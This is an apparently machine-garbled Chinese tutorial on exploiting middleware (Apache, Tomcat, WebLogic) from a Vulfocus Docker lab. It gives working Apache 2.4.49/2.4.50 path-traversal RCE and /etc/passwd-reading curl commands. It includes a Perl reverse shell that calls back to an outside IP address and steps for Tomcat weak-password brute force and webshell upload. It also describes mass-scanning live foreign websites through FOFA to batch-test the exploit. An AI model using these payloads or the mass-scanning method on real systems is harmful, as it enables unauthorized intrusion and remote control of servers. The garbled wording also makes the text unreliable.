中心件的安全题目

前言
相识常见的中心件 ： IIS 、 apache、nignx、tomcat
环境搭建中心件的安全题目重要就是实战从前发现的CVE毛病
环境搭建 上个条记有怎样在kali举行搭建docker
预备kali   已经搭建了docker  

2. sudo docker pull vulfocus/vulfocus:latest
3. 拉取镜像

复制代码

2. docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=xxxx vulfocus/vulfocus
3. 启动镜像    run是运行   -d 在后台   -p 端口   -v是进行挂载  ： 后边是容器的路径   意思就是把容器的内容映射到本地机目录上    而  -e是设置容器的环境变量

复制代码

注意这个 ip 0000 是你本机的ip

内里有个log
apache框架下有利于代价的CVE

1、RCE下令实行 

应用于apache  2.4.49-2.4.50
我们使用毛病之前先找到这个毛病的中心件的版本

恰好是在这个版本的

使用exp举行利用

2. 使用服务器进行curl请求
3. curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
5. 抓包改包修改
6. POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
7. echo;perl -e 'use Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

复制代码

使用exp举行利用

这个rce框架毛病我们可以举行全网搜   先使用 fafoviewer天生使用fafo搜索的信息可以去批量的测试（这里测试的都是外国网站）
fofa语法：

这边只导出10个是由于我设置的最大导出  

2、目次穿越毛病

2. curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
3. GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

复制代码

可以直接访问
tomcat框架

1、弱口令爆破
这个就是使用tomcat登录弹窗的弱暗码

之后必要getshell
骚利用： 冰蝎天生一个jar木马

和gzl有很显着的差异就是开头没有system

这里让我们上传的是  war文件

压缩一下改名为 war

2. http://192.168.248.132:11374/shell/shell.jsp

复制代码

毗连上就行
2、文件上传毛病

Apache Tomcat 7.0.0 - 7.0.79

然后复制木马的内容到这个哀求数据包的下面

发现报错404？？？？？？什么环境   是由于我们后边的http把这个1.jsp当路径处置惩罚了但是这个网站内部是没有这个的以是报错了

绕过方式 ：   /xx.jsp/          //举行包裹 

就可以举行毗连了

3、文件包罗毛病

Tomcat 6.*

Tomcat 7.* < 7.0.100

Tomcat 8.* < 8.5.51

Tomcat 9.* < 9.0.31

使用

这个工具是py2开辟的

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

weblogic

没什么好说的就是工具梭哈  

天狐工具包wx搜 狐狸即可下载

点击查抄  如果不知道是哪个CVE就一把梭   知道会快很多